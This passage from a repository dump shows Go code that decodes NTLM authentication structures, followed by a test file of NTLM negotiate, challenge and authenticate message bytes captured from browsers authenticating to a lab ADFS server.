== MsvAvEOL {\n\t\t\treturn AvPairList, nil\n\t\t}\n\t}\n\n\treturn AvPairList, fmt.Errorf(\"DecodeAvPairs, error list of av pairs must be terminated by MsvAvEOL\")\n}\n\nfunc DecodeNTLMv2ClientChallenge(rawBytes []byte) (NTLMv2_CLIENT_CHALLENGE, error) {\n\tvar NTLMv2ClientChallenge NTLMv2_CLIENT_CHALLENGE\n\tvar err error\n\n\tNTLMv2ClientChallenge.RespType = rawBytes[0]\n\tNTLMv2ClientChallenge.HiRespType = rawBytes[1]\n\tNTLMv2ClientChallenge.Reserved1 = rawBytes[2:4]\n\tNTLMv2ClientChallenge.Reserved2 = rawBytes[4:8]\n\tNTLMv2ClientChallenge.TimeStamp = rawBytes[8:16]\n\tNTLMv2ClientChallenge.ChallengeFromClient = rawBytes[16:24]\n\tNTLMv2ClientChallenge.Reserved3 = rawBytes[24:28]\n\n\tNTLMv2ClientChallenge.AvPairs, err = DecodeAvPairs(rawBytes[28:])\n\tif err != nil {\n\t\treturn NTLMv2ClientChallenge, err\n\t}\n\n\treturn NTLMv2ClientChallenge, nil\n}\n"
  },
  {
    "path": "pkg/ntlm/ntlm_test.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage ntlm\n\nimport (\n\t\"testing\"\n\n\t\"github.com/davecgh/go-spew/spew\"\n)\n\nvar (\n\n\t// SampleA was captured from a system running FireFox on MacOS authenticating to an ADFS server\n\t// running on Windows Server 2019 with BurpSuite proxying the requests\n\n\tNegotiateMessageBytesSampleA = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t}\n\n\tChallengeMessageBytesSampleA = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,\n\t\t0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0xab, 0xf2, 0x49, 0xf0, 0xf1, 0xa3, 0xb6, 0xdb,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,\n\t\t0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,\n\t\t0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,\n\t\t0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,\n\t\t0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,\n\t\t0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,\n\t\t0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,\n\t\t0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,\n\t\t0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,\n\t\t0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01,\n\t\t0x00, 0x00, 0x00, 0x00,\n\t}\n\n\tAuthenticateMessageBytesSampleA = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,\n\t\t0x80, 0x00, 0x00, 0x00, 0xea, 0x00, 0xea, 0x00, 0x98, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,\n\t\t0x40, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x16, 0x00, 0x16, 0x00,\n\t\t0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00,\n\t\t0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,\n\t\t0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00,\n\t\t0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x57, 0x00, 0x4f, 0x00, 0x52, 0x00,\n\t\t0x4b, 0x00, 0x53, 0x00, 0x54, 0x00, 0x41, 0x00, 0x54, 0x00, 0x49, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0xd6, 0x67, 0x23, 0xd0, 0xc7, 0x43, 0x55, 0x19, 0x0b, 0x00, 0xe7, 0xb9, 0x79, 0x7b, 0x63, 0x4e,\n\t\t0xca, 0x84, 0xb8, 0xf4, 0x60, 0x1e, 0x41, 0x76, 0x07, 0xad, 0xb4, 0x0c, 0xc0, 0x24, 0xda, 0xba,\n\t\t0x9c, 0xd6, 0xb6, 0x78, 0x3e, 0x0b, 0x95, 0xb6, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x80, 0x2f, 0x00, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0xe8, 0x70, 0x53, 0xc9, 0x95, 0x4d, 0x90, 0xa1,\n\t\t0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,\n\t\t0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,\n\t\t0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,\n\t\t0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,\n\t\t0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,\n\t\t0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,\n\t\t0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,\n\t\t0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0x00, 0x00,\n\t\t0x00, 0x00,\n\t}\n\n\t// SampleB was captured from a system running on Google Chrome on MacOS authenticating to an ADFS server\n\t// running on Windows Server 2019 with BurpSuite proxying the requests\n\n\tNegotiateMessageBytesSampleB = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,\n\t}\n\n\tChallengeMessageBytesSampleB = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,\n\t\t0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0x70, 0x6c, 0xb3, 0x29, 0xc0, 0xb6, 0xfe, 0x76,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,\n\t\t0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,\n\t\t0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,\n\t\t0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,\n\t\t0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,\n\t\t0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,\n\t\t0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,\n\t\t0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,\n\t\t0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,\n\t\t0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01,\n\t\t0x00, 0x00, 0x00, 0x00,\n\t}\n\n\tAuthenticateMessageBytesSampleB = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,\n\t\t0x58, 0x00, 0x00, 0x00, 0x4c, 0x01, 0x4c, 0x01, 0x70, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,\n\t\t0xbc, 0x01, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0xd6, 0x01, 0x00, 0x00, 0x3a, 0x00, 0x3a, 0x00,\n\t\t0xe6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9c, 0x8c, 0xc2, 0x87, 0x0f, 0xb7, 0xd4, 0xf4,\n\t\t0x86, 0xc2, 0x13, 0xf3, 0xbe, 0x8d, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x8f, 0x28, 0x06, 0xc4, 0xa5, 0x0b, 0x2d, 0xc9, 0xec, 0x1f, 0xca, 0xce, 0x3e, 0x20, 0x6b, 0x55,\n\t\t0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01,\n\t\t0x5f, 0x27, 0x0f, 0x43, 0x1a, 0x57, 0x8f, 0x15, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00,\n\t\t0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00,\n\t\t0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,\n\t\t0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00,\n\t\t0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00,\n\t\t0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00,\n\t\t0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,\n\t\t0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00,\n\t\t0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00,\n\t\t0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00,\n\t\t0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,\n\t\t0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e,\n\t\t0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0a, 0x00,\n\t\t0x10, 0x00, 0x63, 0x2e, 0xc8, 0xcc, 0x4f, 0xfa, 0xd9, 0xd4, 0x9d, 0xa0, 0x63, 0xe2, 0x71, 0xa1,\n\t\t0x25, 0x9c, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00,\n\t\t0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00,\n\t\t0x6f, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00,\n\t\t0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00,\n\t\t0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,\n\t\t0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00,\n\t\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x70, 0x00, 0x72, 0x00, 0x61, 0x00, 0x65, 0x00, 0x74, 0x00,\n\t\t0x6f, 0x00, 0x72, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x73, 0x00,\n\t\t0x6d, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x66, 0x00, 0x6f, 0x00,\n\t\t0x72, 0x00, 0x6d, 0x00, 0x2e, 0x00, 0x6c, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6c, 0x00,\n\t}\n\n\t// SampleC was collected from a Windows 10 client running Google Chrome authenticating to an ADFS\n\t// server running on Windows Server 2019 with BurpSuite proxying the requests\n\n\tNegotiateMessageBytesSampleC = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x97, 0x82, 0x08, 0xe2,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f,\n\t}\n\n\tChallengeMessageBytesSampleC = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,\n\t\t0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2, 0x8a, 0xbb, 0xb6, 0x84, 0x7e, 0x27, 0x76, 0xb4,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,\n\t\t0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,\n\t\t0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,\n\t\t0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,\n\t\t0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,\n\t\t0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,\n\t\t0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,\n\t\t0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,\n\t\t0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,\n\t\t0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01,\n\t\t0x00, 0x00, 0x00, 0x00,\n\t}\n\n\tAuthenticateMessageBytesSampleC = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,\n\t\t0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,\n\t\t0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00,\n\t\t0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00, 0x15, 0x82, 0x88, 0xe2,\n\t\t0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, 0xa9, 0xf5, 0x3b, 0x37, 0xbf, 0xc9, 0x49, 0x75,\n\t\t0x5f, 0x21, 0xd2, 0xaf, 0x94, 0x8b, 0xdc, 0x42, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,\n\t\t0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t\t0x72, 0x00, 0x44, 0x00, 0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00,\n\t\t0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00, 0x35, 0x00, 0x4d, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xeb, 0x30, 0x1f, 0xab, 0x4f, 0x37, 0x4d,\n\t\t0x79, 0x59, 0x28, 0x73, 0x38, 0x51, 0x19, 0x3b, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0xc9, 0x74, 0x65, 0x45, 0xb9, 0xdd, 0xf7, 0x35,\n\t\t0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,\n\t\t0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,\n\t\t0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,\n\t\t0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,\n\t\t0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,\n\t\t0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,\n\t\t0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,\n\t\t0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,\n\t\t0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,\n\t\t0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,\n\t\t0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0x06, 0x00,\n\t\t0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x14, 0x1a, 0x38, 0x76, 0xf8, 0x9c,\n\t\t0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64, 0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0,\n\t\t0xd6, 0x96, 0x37, 0x81, 0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0xe3, 0x7e,\n\t\t0x10, 0x35, 0xd8, 0x9e, 0x56, 0xb4, 0x6e, 0x3a, 0x70, 0x03, 0xc8, 0x1f, 0x54, 0x48, 0x09, 0x00,\n\t\t0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00,\n\t\t0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00,\n\t\t0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00,\n\t\t0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xd7, 0xa2, 0x6d, 0x26, 0xeb, 0x99, 0x27,\n\t\t0xb7, 0x53, 0x5e, 0x64, 0x5d, 0x59, 0xc7, 0x14,\n\t}\n\n\t// SampleD was collected from a Windows 10 system running Microsoft Edge in Internet Explorer mode\n\t// with Fiddler being leveraged to intercept TLS traffic sent by the client.\n\n\tNegotiateMessageBytesSampleD = []byte{\n\t\t0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,\n\t\t0x97, 0x82, 0x08, 0xe2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 